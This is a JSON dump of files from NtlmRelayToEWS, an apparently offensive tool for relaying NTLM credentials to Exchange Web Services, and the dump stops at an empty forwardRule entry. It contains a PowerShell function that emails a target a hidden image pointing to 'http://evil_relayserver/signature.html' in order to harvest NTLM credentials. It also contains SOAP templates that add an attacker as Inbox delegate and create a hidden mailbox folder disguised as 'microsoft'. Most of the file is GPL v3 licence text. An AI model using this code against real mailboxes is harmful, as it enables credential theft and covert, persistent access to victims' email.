[
  {
    "path": ".gitattributes",
    "content": "# Auto detect text files and perform LF normalization\n* text=auto"
  },
  {
    "path": "Invoke-SendEmail.ps1",
    "content": "function Invoke-SendEmail {\n<#\n\t.SYNOPSIS\n\tFunction: Invoke-SendMail\n\tAuthor: Arno0x0x, Twitter: @Arno0x0x\n\t\n\tThis script sends an email to a targeted user embedding a hidden image pointing to the ntlmRelayToEWS server.\n\tYou can use this trick to receive NTLM credentials from the target.\n\n\tBeware that the Outlook.Application COM object seems to only works with 32bits version of PowerShell, so use:\n\tC:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\n\t\n\t.EXAMPLE\n\t# Example of using this function\n\t\tPS C:> Invoke-SendEmail -Address \"user@corporate.com\" `\n\t\t-Subject \"Important\" -Message \"Hi,<p>Could you please check something for me ?</p><p>Give me a sign</p>\" `\n\t\t-RelayServerURL \"http://evil_relayserver/signature.html\"\n\t#>\n\n\t[cmdletbinding()]\n\tParam (\n\t\t[Parameter(Mandatory=$True)]\n\t\t[String]$Address,\n\t\t\n\t\t[Parameter(Mandatory=$True)]\n\t\t[String]$Subject,\n\t\t\n\t\t[Parameter(Mandatory=$True)]\n\t\t[String]$Message,\n\t\t\n\t\t[Parameter(Mandatory=$True)]\n\t\t[String]$RelayServerURL\n\t)\n\t\n\tProcess {\n\t\t# Create an instance Microsoft Outlook\n\t\t$Outlook = New-Object -ComObject Outlook.Application\n\t\t$Mail = $Outlook.CreateItem(0)\n\t\t$Mail.To = \"$Address\"\n\t\t$Mail.Subject = $Subject\n\t\t#$Mail.Body = $Body\n\t\t$Mail.HTMLBody = \"<!DOCTYPE HTML><html><body>\" + $Message + \"<p>-</p><p></p><div style='display: none'><img src='\" + $RelayServerURL + \"'/></div></body></html>\"\n\t\t# $File = \"D:\\CP\\timetable.pdf\"\n\t\t# $Mail.Attachments.Add($File)\n\t\t$Mail.Send()\n\t} # End of Process section\n\tEnd {\n\t\t# Section to prevent error message in Outlook\n\t\t# $Outlook.Quit()\n\t\t[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook)\n\t\t$Outlook = $null\n   }\n}\n\n"
  },
  {
    "path": "LICENSE",
    "content": "GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) 2017  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    NtlmRelayToEWS  Copyright (C) 2017  Arno0x\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>."
  },
  {
    "path": "SOAPRequestTemplates/addDelegate.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:AddDelegate>\n\t<m:Mailbox>\n\t  <t:EmailAddress>${TargetAddress}</t:EmailAddress>\n\t</m:Mailbox>\n\t<m:DelegateUsers>\n\t  <t:DelegateUser>\n\t\t<t:UserId>\n\t\t  <t:PrimarySmtpAddress>${DelegateAddress}</t:PrimarySmtpAddress>\n\t\t</t:UserId>\n\t\t<t:DelegatePermissions>\n\t\t  <t:CalendarFolderPermissionLevel>None</t:CalendarFolderPermissionLevel>\n\t\t  <t:TasksFolderPermissionLevel>None</t:TasksFolderPermissionLevel>\n\t\t  <t:InboxFolderPermissionLevel>Editor</t:InboxFolderPermissionLevel>\n\t\t  <t:ContactsFolderPermissionLevel>None</t:ContactsFolderPermissionLevel>\n\t\t  <t:NotesFolderPermissionLevel>None</t:NotesFolderPermissionLevel>\n\t\t  <t:JournalFolderPermissionLevel>None</t:JournalFolderPermissionLevel>\n\t\t</t:DelegatePermissions>\n\t\t<t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>\n\t\t<t:ViewPrivateItems>false</t:ViewPrivateItems>\n\t  </t:DelegateUser>\n\t</m:DelegateUsers>\n\t<m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>\n  </m:AddDelegate>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/createHiddenFolder.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:CreateFolder>\n\t<m:ParentFolderId>\n\t  <t:DistinguishedFolderId Id=\"${ParentFolder}\" />\n\t</m:ParentFolderId>\n\t<m:Folders>\n\t  <t:Folder>\n\t\t<t:FolderClass>IPF.Note</t:FolderClass>\n\t\t<t:DisplayName>microsoft</t:DisplayName>\n\t\t<t:ExtendedProperty>\n\t\t  <t:ExtendedFieldURI PropertyTag=\"4340\" PropertyType=\"Boolean\" />\n\t\t  <t:Value>true</t:Value>\n\t\t</t:ExtendedProperty>\n\t  </t:Folder>\n\t</m:Folders>\n  </m:CreateFolder>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/forwardRule.tpl",
